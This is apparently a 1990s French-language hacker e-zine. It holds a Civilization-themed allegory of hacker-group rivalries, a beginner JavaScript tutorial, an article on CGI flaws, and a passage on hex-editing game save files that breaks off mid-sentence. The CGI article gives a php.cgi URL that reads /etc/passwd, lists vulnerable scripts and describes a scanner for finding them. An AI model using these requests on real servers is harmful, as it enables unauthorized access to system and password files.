on fonde notre ville : IGA (quelle originalité). Ha le peuple
est happy, on irrigue le sol pour avoir un peut plus de foin
(slik and the..) et on attend le next turn que nos armées en
cartons soit prêtes.
Voilà c'est fait, on explore in peu le continent (Québec Scène).
Bah ya pas grand monde hein __2.. on continue à chercher..
Ha tien une p'tite cabane, et bin on vient de trouver comment
se spoofer! On continue.. Quand tout a coup, une tribu bizarre
encore au stade embryonnaire (comme nous finalement). Allons
les voir de plus près.
-->UHA<-- Eil salut man.. tu serais pas intéresser à faire un
échange de knowlage? Un virii en basica 3.0 contre
ton spoof ? c'est un deal ?
-->iGA<-- Im not interest
-->UHA<-- Okay nice .. dans ce cas la c'est la guerre!
-->iGA<-- If you want so!
Alors vite on a besoin d'une batch de soldat en carton!
2 Turn after
Go to the UHA civilisation, bon on y va, à l'attaque!
==>UHA as been defeated by the civilisation of iGA<==
Bon on take-over la ville pis on est rendu avec un beau spot
irrigué pis pas si mal placer (Uha as been assimilated in the
glorious civilisation of iGA).
Quelques inventions plus tard..
Voici que vient le temps de construire une merveille du monde!
Pourquoi pas un Oracle, lieu de prières et d'adoration nous
voici donc avec une population grandissante! Ha encore une
construction, les pyramides, so called K-line Killer 2.0
==>WHF as been defeated by the civilisation of iGA<==
Oups c'était seulement réparti sur une seule ville ca la, qui
aurait crut.
Bon on continue à faire le tours du continent (Scène encore une
fois) ha mais tien donc, voilà qu'un un autre peuple plus
avancer technologiquement que nous vient nous rencontrer we are
scared!
-->TC<-- Eil vous savez pas c'est quoi la culture des ressources
naturel du continent (Eil c'est pas ca du hacking gang
de leet).
-->iGA<-- Ha laisse-nous donc juger du temps ou y faut passez-la
tondeuse.
-->TC<-- Eil checker ma technologie les gars toutes les autres
Civilisations me vénèrent.
-->iGA<-- Ha bien alors disons qu'on fait un traité de paix
devant tant de connaissance.
-->TC<-- Traité de paix? nah pas avec vous autres
-->iGA<-- Ok alors on échange du knowlage?
-->TC<-- Un peuple comme vous autres ca mérite juste de crevé!
Donc on quitte le territoire pour se replier sur nos structures
prévoyant une destruction..
Quel bonheur on a le Metal Forging (vive les légions) enfin
débarrassé des soldats en cartons. Donc on met les légions au
bout de notre frontière pis on fortifie ca, surtout que la
tranquillité de ce village depuis des mois est disparut dans
une effervescence de troupes nouvelles. (On va mourir)
Non faut encore trouver du knowlage qui ont pas.. on a une
chance, on envoi donc 3 légions faire de la discovry afin de
trouver du knowlage dans des petites huttes en paille.
Ha merde!, une autre civilisation, mieux vaudrait envoyer un
diplomate voir de quoi ils ont l'air. Les résultats nous
montrent donc une tribu comme l'était la notre jadis donc
technologiquement inférieur on a déjà un problème sur les bras,
y en faudrait pas un deuxième, coupon l'herbe sous le pied et
passons la tondeuse sur cette ville.
==>NevrSee as been defeated by the civilisation of iGA<==
Ha merde, la ville a complètement disparut, c'est pas grave.
On a pas encore fini notre quête, vite du knowlage! On invente
les bateaux pis on part à la découverte! Un autre peuple, ish
lui aussi ya l'air assez powerfull, c'est pas grave on a des
légions.. ha eux autre aussi... Eil on va leur parler
-->iGA<-- Comme ca vous êtes pas pire en knowlage?
-->Frhack<-- Bah c'est sur on est pas des barbares comme vous
autres qui détruisez de simples civilisations
encore au stade embryonnaire.
-->iGA<-- Hee. he he he! :|
-->iGA<-- On pourrait pas faire un treade de connaissances?
-->Frhack<-- Nous autres on a rien à apprendre de barbares..
-->iGA<-- Okay, vous connaissez la civilisation de TC ?
-->Frhack<-- Bien sur, on a déjà échangé du knowlage mais de ce
temps sit, on dirait qui se brasse des choses par
la.
-->iGA<-- Eil je propose un deal, Déclare leur la guerre, je
suis près a payer!
-->Frhack<-- Noway, c'est avec toi que ma la faire la guerre!
Nuisance civilisée!
Ouins ben moi je rembarque dans le boat pis je fous le camp
d'icit. Bon on a inventer la gun poudwer la fuck les légions
on fait des Mousquetaires. Ha tien tien voilà TC qui revient
nous voir avec un diplomate nous proposant une alliance.
Humm sa sonne louche ca la. Dispatcher de Diplomate. Ha ha
voilà le pourquoi de la chose, TC commence à s'épuisé, pour
développer son knowlege ya fallut qui baisse les taxes, y se
retrouve donc avec pus de cash pour faire des armées pis ses
constructions coûte trop cher à entretenir, il doit donc s'en
départir. Notre diplomate nous informe que le même traité a été
évoqué avec Frhack. Nous refusons l'offre d'alliance pour des
raisons de, préjugée faites par ce groupe ultérieurement. Après
tout, on est rendu au même niveau qu'eux technologiquement, on
a même inventé la philosophie !
==>TC as been defeated (Disaper for no support during an
internal riot) <==
Bon un boute de moins sur le continent, vaut mieux en rire
qu'en pleurer, on Expend.
Notre civilisation n'arrête pas de grandir et la population
afflue de partout, on a si bien structurer nos villes et notre
politique : Roi--> peuple que ceux-ci ne sentent pas le besoin
de se rebeller au contraire ils offrent leurs services. Ha la
paix demeurent et notre civilisation s'épanouit de jours en
jours. Le clan Frhack aussi grandit mais pas sa population.
Même si notre armada de diplomate est plus grande que la leurs,
on sent qu'il serait périlleux de commencer une croisade vers
leur région. On va quand même envoyer 2 diplomates pour leurs
soutirer de l'information. On a réussit à avoir une base sur la
théorie nucléaire (Linux), mais on a déjà commencer les
technologies appliquer comme les chars d'assaut (Socket annoyng
family write by __2). Mais sans le savoir, du moins sans
vraiment le vouloir, nos diplomates on incités une révolte au
sain de leurs civilisations, est-ce notre régime Monarchique?
Peu importe, l'argent diminue donc dans les coffres de l'état
et Frhack doit se départir de précieuses création qu'il ne peut
plus entretenir. Voyant le résultat de notre acte, l'assemblée
vote pour une trêve définitive de la rencontre armée ou mal
intentionnelle avec ce peuple.
Ainsi soit t-il!
Un autre peuple voit le jour, Phreak.fr. Nous allons leurs
parler et entretenons des lors des rapports d'échanges
commerciaux et sociologique intéressent, sans bavures. Bien que
ce peuple éprouve de récent problème de famine (vous avez
oublier d'irriguer les gars) on attend toujours leurs prochains
zines, des que l'ordre sera revenu.
Et voici une autre petite tribu nommée TSA, on avait bien
faillit la détruire dans les conditions de survies du début,
et a notre grande surprise notre diplomate agrée Wyzeman a
réussit à mettre sur table un pacte de paix alliant nos deux
civilisations. Pourquoi inventer deux fois la même chose quand
on peut en inventer deux pour le même temps!
Nous voici donc à la croisée des chemins, l'avenir nous dira
probablement qui de ces civilisations réussira l'apogée des
programmes spatial (Eil les gars j'ai hacker un Gibson!)
En faisant le point sur l'évolution de notre civilisation (iGA)
on voit bien que comme tout autres peuple, on a commencer très
petit dans un champ de blés mais pour faire face à la lute et
la critique des premières rencontres, on n'a pus que développer
un mode de protection efficace.Okay on peut même comparer notre
méthode évolutive de barbares, soit, mais il le fallait bien
pour perdre notre place dans les premiers rang du top FIVE.
Notre civilisation ne s'est pas appuyer sur des assises du
passé pour rendre compte de son potentiel, au contraire, a
chaques e-Zines, ce même potentiel qui est toujours renouvelé.
(On sens Sarte et sa Mauvaise Foi ici la). Avec l'assurance
prise et le désire de développer plus la technologie dans ce
20e siècle, la production de fantassins assurant notre défense
s'atténue peu a peu pour faire place à des projets constructifs
et évolutifs. La barbarie s'était bien, mais la coop sa sera
meilleur! Mais attention, même si nos esprits sont axés sur un
monde de plus en plus pacifique, nous avons quand même inventer
le projet Manhattan.
Bla Bla Bla phear we all
gonna die! ..... Qwzykx
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.12] _|_| Le JAVASCRIPT
\_________/_/ So CalleD _ ______ __ _ _
Pour les debutants qui debute le debut _/_/ [By:-cHr|5] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Salut, je vais vs présenter le javascript:
First: Le javascript est totallement différent du java, le java
script est en fait une version minimale qui sauto-execute
un peu comme une batchfile ms-dos :-) Permet de creer des
fonctionnaliters de plus, par exemple sur www.undernetsuxx.org
les boutons des menus sont changeant quand on passe la sourie
dessus grace justement a cela. Mais on peut faire mieux ou
plus dangereux que ca :-)
Pour apprendre a exploiter le Javascript, il vous faut :
1. un browser qui reconnaît le Javascript. {ie3+,n3+}
2. une solide connaissance du Html
3. un simple éditeur de texte
NB: Pour se servir du javascript, on utilisera l'alphabet
ASCII classique non-etendus (à 128 caractères). Les caractères
accentués comme é ou à ne peuvent être employés que dans la zone
texte. Voici qq notions de base :
**Pour utiliser un script java, il faut signaler au browser que vs
en utilisez un par la balise <SCRIPT LANGUAGE="Javascript">.
De même, il faudra informer le browser de la fin du script par la
balise </SCRIPT>.
**Vous pouvez insérer des commentaires ds vos scripts java, placés
les après //. De cette manière, tout ce qui est écrit entre le //
et la fin de la ligne sera ignoré. Vous pouvez insérer des commentaires
sur plusieurs lignes:
/* commentaire sur plusieurs lignes */.
**Pour masquer le script pour les anciens browsers :
<SCRIPT LANGUAGE="javascript">
<!-- Masquer le script pour les browsers
le script // Cesser de masquer le script -->
</SCRIPT>
* L'alert():
-----------
<SCRIPT LANGUAGE="JavaScript">
window.alert(" ")
</SCRIPT>
Cette instruction affiche un message (dans le cas présent votre texte
entre les guillemets) dans une boite de dialogue pourvue d'un bouton
OK. Pour continuer dans la page, on devra cliquer ce bouton.
* Write():
---------
<SCRIPT LANGUAGE="Javascript">
<!--
document.write("<H1>Ceci est du Javascript</H1>");
//-->
</SCRIPT>
Cette instruction permettra d'afficher le txt "Ceci est du Javascript"
sur la page.
* J'ai pas trouvé de titre :)) :
--------------------------------
On peut utiliser différentes "fcts" ( .big(), .small(), .blink() ) pour
remplacer des balises HTML (dans ce cas-ci : <BIG> </BIG>, <SMALL> </SMALL>,
<BLINK> </BLINK> ).
Exemple :
Je veux écrire en javascript la phrase www.undernetsuxx.org en grand
(en javascript) : (il y a plusieurs possibilité d'écrire cette phrase
en voilà 2)
<SCRIPT LANGUAGE="JavaScript">
str="www.undernetsuxx.org" // variable initialiser
document.write("<BIG>"+str +"</BIG>")
</SCRIPT>
ou
<SCRIPT LANGUAGE="JavaScript">
document.write('<BIG>Something</BIG>')
</SCRIPT>
* Les couleurs :
----------------
Au lieu d'utiliser parexemple, la balise :
<BGCOLOR="#000000" TEXT="#FFFFFF" LINK="#FF00FF" VLINK="#800080" ALINK="#FF00FF">
pour déterminer les différentes couleurs ( des liens, du fond, etc...) d'une page html,
on peut encore une fois se servir du javascript.
document.bgColor
----------------
Cette instruction permet de spécifier la couleur d'arrière-plan d'un objet
document. On peut employer le nom ou la valeur RGB de la couleur.
document.bgColor="white"; // document.bgColor="#FFFFFF";
document.fgColor
----------------
Cette instruction permet de spécifier la couleur d'avant-plan (texte) d'un objet document.
On peut employer le nom ou la valeur RGB de la couleur.
document.fgColor="black"; // document.fgColor="#000000";
document.alinkColor
-------------------
Cette instruction permet de spécifier la couleur d'un lien actif (après le click
de la souris mais avant de quitter le lien) d'un objet document. On peut employer
le nom ou la valeur RGB de la couleur.
document.alinkColor="white" // document.alinkColor="#FFFFFF";
document.linkColor
------------------
Cette instruction permet de spécifier la couleur d'un hyperlien d'un objet
document. On peut employer le nom ou la valeur RGB de la couleur.
document.linkColor="white"; // document.linkColor="#FFFFFF";
document.vlinkColor
-------------------
Cette instruction permet de spécifier la couleur d'un hyperlien déjà visité
d'un objet document. On peut employer le nom ou la valeur RGB de la couleur.
document.linkColor="white";document.linkColor="#FFFFFF";
Voilà j'espère que cette ptite intro sur le javascript vouss aura plu...A+
[-cHr|5-]
___________________
[Quotes of the month]\____________________________
[Have Stomac Burn will not let you past a BK
[eat trip, but you may regret it the next morning...]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.13] _|_| CGI FLAWS
\_________/_/ So CalleD _ ______ __ _ _
Scanning and more sous win32 _/_/ [By:__2] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Quest-ce qu'un CGI ? Il s'agit du terme Common Gateway Interface ou si vous
cherchez dans le plus simple, il s'agit dun genre d'executable qui peut faire
quelques operations interessantes et cela a distance. Par exemple, le compteur
sur undernetsuxx.org est un CGI, un cgi simple qui compte le nombre de
visionnement de la page. Cest tout simple, certains sont plus puissant et
gere directement les fichiers systemes d'un disque et c'est la que ca devient
interessant. Un programme existe deja sous linux depuis quelques mois qui
permet de scanner un domaine [www] et dy trouver tout les fichiers cgi's
capable d'etre utiliser a fin de hacking. Voici donc des exemples classiques,
le plus vieux cgi exploitable est sans nul doute le PHP.Cgi, la jentend deja
certains me repondre "boring old crappy shit" mais c'est prouver, ca existe
encore.. voici un exemple classique:
Http://www.targethost.com/cgi-bin/php.cgi?/etc/passwd
Et oui, ca permet de voir nimporte quel fichier de facon arbitraire sur
le diske du serveur , meme la password list dans certains cas. Il y en a
biensur bcoup d'autres tel que le test-cgi, le phf le count.cgi [vous
savez le fameux compteur de tout a lheure], le classique wwwboard.pl
[ici il s'agit de perl, un autre type "d'executable"]. Donc en gros mon
programme scan comme sur linux pour tout les trous pouvant etre penetrer
mais pour Windows :-) Oh thats sound good.
Wwwscan.exe est le programme et il vient avec le mag, pour les librairies
requise n'oubliez pas d'allez downloader sur le site : vb6libs.zip et de
l'installer [ICQ fermer sinon ca plante]. Dans le programme vous avez
quelques configurations a entrer et 3 boites qui sont dans l'ordre:
(1) - La DUMP BOX,
(2) - La Results BOX,
(3) - La Debug BOX.
Dans la premiere boite, on peut voir les commandes locales, dans la
seconde boite on voit les resultats. C'est-a-dire tel ou tel CGI que
mon programme a trouver :-) Dans la derniere cest tout simplement les
operations directes faitent via le SOCKET[INTERNET] c'est tjour pratique :}
Donc si vous voyez par exemple:
Flaw Found : GET /etc/passwd dans la results box c'est que le passwd [fichier
users d'un systeme linux] c'est que vous pouvez taper via Internet Explorer
ou Netscape un URL du genre HTTP://www.targethost/etc/passwd. Thats Right?
Pour avoir plus d'information sur un CGI ou un PERL speciale, c'est a dire
comment faire un exploit dessus, vous allez sur www.yahoo.com et tapez le nom
du cgi suivit de exploit, c'est le gros classique. Par exemple:
Search: Count.cgi exploit
Vous risquez den apprendre des bonnes :]
Pour finir cette article, le fichiers laws.txt est d'un format tres simple:
ITEM_NAME
ITEM_CONTENT
...
#
#
les 2 # marquent la fin du fichier.
et ITEM_NAME est le nom de l'exploit tandis que le ITEM_CONTENT est plutot
le contenu. Par exemple:
Cgi PHP
GET /CGI-BIN/PHP.CGI /HTTP/1.0
Vous pouvez donc en ajoutez a votre gres, la liste deja presente n'est vraiment
pas complete. Il se peut bien que je release de nouvelles listes sur le site IGA
dans les semaines a venir. Donc enjoy this new toy.
NB: Ceci est un article qui ressemble bien a celle de putois qui n'est malheureusement
pas parus pour la raison quon a tout simplement perdu son article, on s'excuse et comme
on doit faire vite on n'a pas pus rejoindre un europeen qui est la 2h par jour sur le
net et cela quand on dort. Milles excuses a putois.
__2.
___________________
[Quotes of the month]\____________________________
[A infrared keybord will not be affect by ne hackerz...
[Have you ever see a hacker hacking a keybord? ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.14] _|_| Save File under busting
\_________/_/ So CalleD _ ______ __ _ _
Cheaters use drug _/_/ [By:Qwzykx] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Et oui, je m'adresse à vous,les vieux de la vielle,les rescapées
de la vague, à tous ceux qui n'ont pas surfés mais qui sont bien
restés les deux pieds sur terre, à vous tous je ne peux que
qu'admirer votre loyauté mais j'ai la triste et ardue tache de
vous discriminer, de vous expulser hors de ce notpad car ce que
je vais écrire à l'aide d'un clavier 102 touches, vous le savez
déjà,encore une fois milles regrets,veuillez agréer l'expression
de mes sentiments les plus distingués, je vous prie de croire en
l'expression de mes sincères salutations, cordialement vôtre ,
Qwzykx !
Alors pour vous tous qui êtes encore avec nous,vous tous qui avez
braver l'océan afin de surfer et ce sans prendre trop de
bouillons, vous tous qui fessez partie de gang CoOl et BrAnCHeZ
today on va faire un brainstorming à la, comment dirais-je, je ne
sais trop, disons simplement que dans un monde corrompu, vous le
serez un peu plus! Ce que je vous propose n'ayez crainte n'est
pas illégal, du moins je l'espère après tout, c'est pour cette
éventualité que Wyzeman fais des disclams. Non ce n'est pas
illégal mais disons plutôt que c'est moralement discutable mais
après tout, tous le monde triche de nos jours, même les gamblers
(Le scoop ici la).
Alors tout va comme suit :
Ha qui sont beau les moineaux,
les p'tits, les gros, les moineaux
ils ont manger les raisins
ils ont crachés les pépins, les pépins, les pépins
si cette histoire vous ennuie, ennuie, ennuie les amis
pour vous désennuyer, ben on va la recommencer.
Solo !
Excusez-la!
Bref!
Responsabilité. nannana Responsabilité. nnananan Responsabilité!
Bon moé j'pette ma coche pis je scrap mon francais!
Back on the track v.2.20
Donc oublier ce léger contretemps mais vous avouerez qui a de
quoi de valorisant quand ont pense que cette chanson de notre
patrimoine d'enfance des hautes terres va être immortalisée sous
l'imprimante d'un local d'info au secondaire ou sous celle d'un
respectable bureau médiatique, qui sait! C'est la qu'on voit que
chaques lettres pesées et posées dans ce texte coûte à l'état la
modique somme de 1$ en encre (pure spéculation,une chose est sur,
ya sûrement un kid qui va avoir un devoir imprimer en gris pale
se dégradant vers le blanc à cause de nous après tout!)
Bon alors le but de cet article contrairement aux autres est de
vous enseigner à vous démarder, et ce, avec les moyens du bord
c'est-à-dire une bière, un écran saupoudré d'acariens,l'expertise
de cet article et bien sur, un maximum de chance!
Mais pourquoi m'acharnerai-je à vous expliquer ce que je veux
vous montrer, je vais plutôt vous donner un exemple tout en vous
expliquant les rudiments de la old faschon du temps. ( comme
personne en parle!)
Alors mise en situation :
Vous venez de jouer à un magnifique jeu et comme c'est pas un jeu
chien disons, vous pouvez sauvegarder votre partie. Puis vient un
temps ou, même une fois sauvegarder, vous ne pouvez poursuivre
votre quête dans ce dit jeu, il vous faut donc un petit boost.
Mais Oh malheur, shame on you, le patch ou le trainer pour ce si
sublime jeu n'est pas encore disponible et pour les codes, disons
simplement que vous allez devoir les faire venir par un mercenaire
à 5000$ l'unité.
Mais que faire pour palier à ce si imposent dilemme?
Et oui vous avez deviner: continuer de lire cet article!
Imaginer vous comme concepteur d'un jeu du genre... par exemple,
Civilisation (the great old one) ici je tiens à vous dire que
c'est un choix personnel ou plutôt une limite personnelle mais le
principe est le même pour des jeux plus récents. Alors pour
pratiquer cette opération, il vous faudra un patient, c'est à
dire votre save file, facilement identifiable par son nom souvent
illicite et hors contexte, par exemple : Civil0.SVG ou encore
Save4.SAV. Si vous avez peur de vous perdre ou si vous savez pas
trop quel save file est relié avec quel partie sauvée ,dites-vous
que souvent dans la première ligne du save file se trouve le nom
de votre game sauvé. A ce moment-ci de notre courte rencontre,
vous aurez deviné que le but de ce texte est de vous apprendre à
tricher ou plutôt,hacker vos saves games,rien de vraiment illégal,
après tout,c'est votre save game,votre création! Le truc proposé
est simple, même trop simple, toute fois il se peut que cette
technique ne soit pas infaillible par exemple, il se peut que les
données soit encriptées dans le save game et ca m'est arriver
qu'une seule fois, ou encore l'inverse, que les données que vous
allez rentrer soit tellement over sized que le jeu fuck, je me
rappelle une game de UFO2 ou j'avais un commandent de niveau
"Carabine Blasta Sonic". Donc on ne changera que des valeurs dans
ce save file,ces valeurs sont habituellement et très probablement
les suivantes :
Dans les jeux de stratégies ( Warcraft, Command & Conquer..) le
classique et très capitaliste CASH suivit du bois etc. Finalement
vous serez pas invisible mais vous contrôlrer la richesse du
royaume et comme tout le monde sait : Qui sera maître de l'épice,
sera maître du monde! Tandis que dans les jeux d'actions , vos
points, votre amos ainsi que vos stats pourront êtres disons,
métamorphoser en super points, super amos et super stats après
X--------------Un break point philosophique juste ne bas! --------------X
tout vous penser pas que le jeu avec votre machine se continue
même après un EOF et je dirais même plus, la ou le EOF commence,
le jeu se continue, pas avec la machine, mais avec le programmeur
du jeu! Ouhaaa j'en ai des frissons à pensé comme ca,je veux pas
avoir l'air plat ou pessimiste mais le seul moyen de contrôler
votre ordinateur c'est de codé un virus en assembleur qui ira
killer toute votre HDD et ces données pervertit par des
programmeurs que vous ne connaissez, après tout, ces eux qui
utilisent votre ordinateur!
Revenons à nos moutons.
Alors vous vous rappeler l'article sur les variables du bios que
j'ai écris dans ce même zine? Si vous savez pas c'est quoi la
conversion hexadécimale/décimal ben vous êtes dans marde, mais
pas temps que ca je vous est fourni et ce gratuitement un
convertisseur décimal to hexa, HA!, quel type ce Qwzykx mais
par contre vous me trouverez moins drôle quand je vous dirai
qu'il vous faudra un éditeur hexadécimal afin d'éditer vos
valeurs, ca va beaucoup plus vite, mais pour ceux qui ont rien,
je me réserve une section à la fin de cet article pour un
DEBUG prog.editing, oui c'est low level mais ca marche bien!
Alors allons-y ma gang de futurs p'tits RAZOR 911.
La première étape dans une telle situation c'est la possession
près de sois d'une feuille et d'un crayon, par expérience
personnelle dans le passé, évitez un ami sauf s'il est capable
de passé le 20e niveau au p'tit jeu rouge,vert,bleu,jaune qui fait
bip bip avec une séquence qu'il faut répéter.. voyez mes amis
étaient pas fort à ce jeu là, par contre, ils excellaient dans le
célèbre jeu du roi de la montagne, exemple parfait de la pile :
LIFO (Last in,first out!) tendis-que j'adoptais le contraire FIFO
(first in,first out!). Après cette étape, il vous reste une étape
difficile à accomplir, "planifier vos besoins".
Voyez, le nombre de points que vous avez à l'écran, le nombre
d'argent que vous posséder ou peut importe le nombre, le résultat
est le même, l'ordinateur le sauvegarde dans un fichier et comme
celui-ci fonctionne en hexadécimal, votre butin sera alors
transformer en butin hexadécimal:
Exemple : 2945 de gold --> 0681 hexa (prenez l'habitude de foutre
un zéro devant le premier chiffre de facon à toujours former des
couples (groupe de 2) en hexa ca vas vous éviter des erreurs plus
tard,par contre si les chiffres sont déjà en couple (donc mariés)
ne rajouter pas de zéro pour rien ca pourrait etre un cas de
divorce!). En suite quand je parlais de "planifier vos besoins"
je parlais de sauvegarder votre game quand vous avez un nombre
"batard" de cash ou de points peu importe pourvut que le chiffre
ne sois pas rond ou trop commun par exemple si vous sauvegarder
en commencant la partie alors que vous avez en poche 1000$, il se
peut que dans le save game la valeur 1000 soit utilisé aussi ,
comme dans le jeu Warcraft, toutes les unités commencent avec le
même nombre de cash et quand vous enregistrez votre partie,
l'argent de vos ennemis est aussi enregistré il sera alors
difficile de retrouver la valeur exacte, VOTRE valeur. Si vous
sauvegarder la partie lorsque vous n'avez plus un rond ou encore
lorsque vous en avez peu, encore une fois les problèmes s'offrent
à vous car le fichier .SAV est avant tout une base de donnée et
celle-ci contient d'autres informations, comme le nombre de
building, votre emplacement et il y a pleins de 0 (espace vide)
donc vous risquerer de chercher longtemps. Un autre truc, lorsque
c'est possible, sauvegardez sur le plus gros montant possible,
lorsque votre valeur excède le nombre 255, votre chiffre sera
alors inscrit sur deux espaces mémoire dans votre fichier de
sauvegarde,ce qui vous facilitera la tache car il est plus facile
de trouver une série de chiffre qu'un seul chiffre :
Exemple :
Si j'ai 77$ en hexa ---> 4d
si j'ai 4429$ en hexa -> 11 4d
Donc si je cherche avec "4d" je risque d'avoir tous les "4d"
qui peuvent se trouver dans le save file. Je réduis donc les
chances d'erreurs en maximisant ou en précisant ma recherche
à l'aide de deux octets au-lieu d'un seul. Et non il nous reste
encore quelques difficultés à surmonter avant de pouvoir s'amuser.
Premièrement chez INTEL les données sont inscrite à l'envers dans
la mémoire, c'est la que le truc des couples de chiffres d'on je
vous est fait part tento vas être utile. Si par exemple,j'ai 537$
en hexa --> 219 donc 0219 mais comme chaques espaces mémoire est
sur huit bits on a deux espaces mémoire dans ce cas ci : 02 et 19
il faut maintenant les inversés (toujours en couple, ce n'est pas
les chiffres que l'ont inverse mais bien les octets.)
On obtient alors ceci : 19 02
et c'est exactement ceci que vous devrez chercher dans votre
save game : 19 02
Pour cette partie "recherche" si vous voyez plus que deux fois
votre nombre sortir, vous pouvez toujours vous essayer à en
changer un dans l'espoir que ca fonctionne (mais faite un backup
on sait jamais) Et si vous penser en programmeurs vous avez
peut-être aussi la géniale idée de commencer votre programme de
sauvegarde de facon structurer c'est-à-dire les informations les
plus importantes au début et le reste à la fin, c'est pourquoi ce
que vous chercher se trouve souvent au début du fichier. Alors si
je reprends l'exemple de tento : 19 02
Viens maintenant le temps de modifier le contenue de l'espace
mémoire comme ce-ci (ceux qui ont un éditeur c'est souvent la
lettre E pour éditer) donc je change 19 02 pour ---> 19 72
oubliez pas que comme les espaces mémoires sont inversées le
chiffre le plus significatif est le deuxième (soit 02)
Et l'ultime question: Pourquoi un "7" ?
La réponse : c'est que c'est un chiffre chanceux et que si je
mettais FF dans chaques cases, et que, par malheur,en recomencant
ma game j'aille un extra Cash flow, celui-ci se rajouterait
par-dessus le FF FF(qui est la valeur maximum dans un octet).Donc
si votre jeu n'a pas prévus un 3e octet de mémoire, y va avoir un
buffer overflow et pour la suite je vous laisse deviner...
Mais ce qui est pratique c'est que si vous noter, comme dans
Warcraft par exemple, le nombre de OIL et de BOIS que vous avez,
vous verrez que ceux-ci sont dans le même coin que l'argent donc
notre ami le programmeur a décidé de mettre ca en tapon et ca
vous évites donc de chercher ces nombres pour rien, deplus, si
vous trouver deux fois ce nombre celui qui se trouve près de
l'argent sera sûrement le bon car il est aussi important au niveau
du jeu (logique non!). En voyant les espaces qui séparent chaques
termes en hexadécimal, vous pourrez déduire environs le maximum
d'octets alloués à cette donnée, exemple :
00 00 00 12 01 00 43 02 00 45 00 00
Ici, on pourrait croire qu'il y a 3 octets pour chaques
données(les 3 premiers sont finalement rien!) Le chiffre commence
à 12 (valeur faible) et ensuite 01 (valeur moyenne) et 00 (valeur
forte) même si cette dernière est vide,il faudrait un nombre plus
grand que 65535 pour qu'elle s'active, il en va de même pour les
autres.
Alors voici le moment de l'exemple final :
mettons j'ai 3945$ à Command & Conquer bin comment je peux me
faire une passe de cash facile en gossant mon save file!?
Réponse :
Avant tout, sauvegardez lorsque vous savez que vous avez 3945$!
La conversion: 3945$ --> en hexadécimal, ce qui donne --> F69
On les met en couples! : F69 --> 0F 69
ensuite on les inverse 0F 69 --> 69 0F
On édit ensuite le save file en HEXAdécimal et on cherche la
string suivante : 69 0F
Une fois trouver on la modifie : 69 0F --> 69 7F
(pas obliger d'être un "7" la ca peut être ce que vous voulez,mais
essayer d'éviter le buffer overflow d'on je parlais tento)
Il ne reste plus qua enregistrer vos modifications et de recopier
ce fichier par-dessus le vieux que vous aviez. Vous allez passer
de 3945$ à 32617$ tout un taux de change!
Ici se trouve la section Annoying, c'est-à-dire les problèmes que
vous pourriez rencontrer. La passe des valeurs encriptées je l'ai
vu une seule fois donc c'est pas si grave mais le pire bug que
vous pourriez avoir c'est de changer quelque chose qui devrait
pas être changer (si par exemple la même string se répète deux
fois dans le même fichier et que vous décidiez de modifier les
deux valeurs,alors il se peut fortement que sa soit la cause d'un
futur bug. Certains programmes sont barrés non pas à 65535 (sur 2
octets) mais à la valeur 1000 (décimal) comme Doom ou heretic par
exemple la window pour le amos est sur trois décimals de 0 à 999
si vous essayez de rentrer un "1" de plus,le programme va planter
because y pourra pas le mettre dans un espace de 3 digits, une
espèce de bug de l'an 2000 encore la! Ensuite il se peut aussi
que vos options marchent plus ou moins,comme ca m'est arrivé dans
un seul jeu (UFO2) j'avais over booster mes bonhommes, ce qui a
fonctionné mais sans trop savoir pourquoi,mes bonhommes changeaient
de nom pis y se sont mit à porter des "Rang enseigne"comme armure!
Un autre problème commun, souvent les variables déclarées par le
programmeur sont de type "non-unsigned" c'est-à-dire que ces
variables vont de -128 à 127 dans le cas de un octet de mémoire,
contrairement au mode unsigned ou ils vont de 0 a 255.Le problème
c'est que le nombre est finalement diviser en deux, une partie
positive : de 00 a 7F et une partie négative de 80 a FF.
Donc si vous ajouter ou augmenter votre valeur et que celle-ci
est "signed" donc comporte une partie négative, alors en
augmentant la valeur au-delà de 79 vous pourriez tomber dans le
négatif, ce qui serait un problème et non une solution, et vous
voyez encore ici le fameux "7" chanceux !
Autre chose, si votre nombre est de type HUGE du genre 1809543$
1809543$ en hexa---> 1B 9C 87
Alors pour inversé le tout vous le lisez à l'envers finalement ce
qui donne : 87 9C 1B
Et c'est tout!
Vous pourriez trouver un bon éditeur hexa décimal sur le net je
crois que sa serait pas très très difficile, ya Norton qui en
faisait pis ya aussi un bon vieux programme qui s'appelait Xtree
Gold dans le temps qui faisait de la belle job! Mais si vous avez
pas le temps ou que vous posséder pas les ressources matérielles
minimales, il vous reste le très rachitique DEBUG. Finalement
pour bien éditer votre fichier, vous devez savoir quel est la
string à rechercher, le nom du fichier et sa grosseur. Donc en
mode DOS, vous tapez DEBUG ensuite vous aller voir une petite
ligne comme ca "-" marquez "n" suivit d'un espace et le nom du
fichier: --> n Save3.sav Ensuite marquez "l" puis ENTER. L'option
"n" permet de nommer le fichier auquel on veut accéder tandis que
l'option "l" permet simplement de loader le fichier en mémoire,
mais sa vous le sauriez si vous regardiez le HELP file "?". Vous
voici donc dans votre fichier, il suffit de faire un Dump ("d")
pour voir tout ce beau code apparaître mais, vous aller devoir
chercher pendant des heures votre string à y aller page par page!
On va donc utiliser la commande "s" pour Serch et voici comment
elle fonctionne : s [debut] [fin] [string]
Et c'est ici que vous allez voir tout le point de vu pratique
d'un éditeur hexa. Donc si votre fichier fait 15,006k vous devrez
le convertir en hexa 15006 --> 3A9E hexa après cette brève
opération vous devrez chercher de 0 à 3A9E me direz vous, mais
non! Le super DEBUG commence à l'adresse 0100 , vous devrez donc
chercher de 100 à 3B9E (3A9E + 0100)Alors supposons que je cherche
la string 75 02 j'irai comme suit : s 0100 3B9E 75 02
Si votre fichier est de moins de 65,435k vous aurez seulement
besoin de gosser l'offset de l'adresse mais s'il est de plus de
65,435k vous devrez écrire l'adresse au complet! Vous aurez alors
le résultat de la recherche sur des pointeurs qui, pointerons sur
la case mémoire (la valeur faible) ou se trouve votre string EX:
String = 75 02 et se trouve à l'adresse 1A72:085A
le résultat sera donc 1A72:085A et à cette adresse il y a ceci :
"75" qui est la valeur basse c'est donc dire que si vous prenez
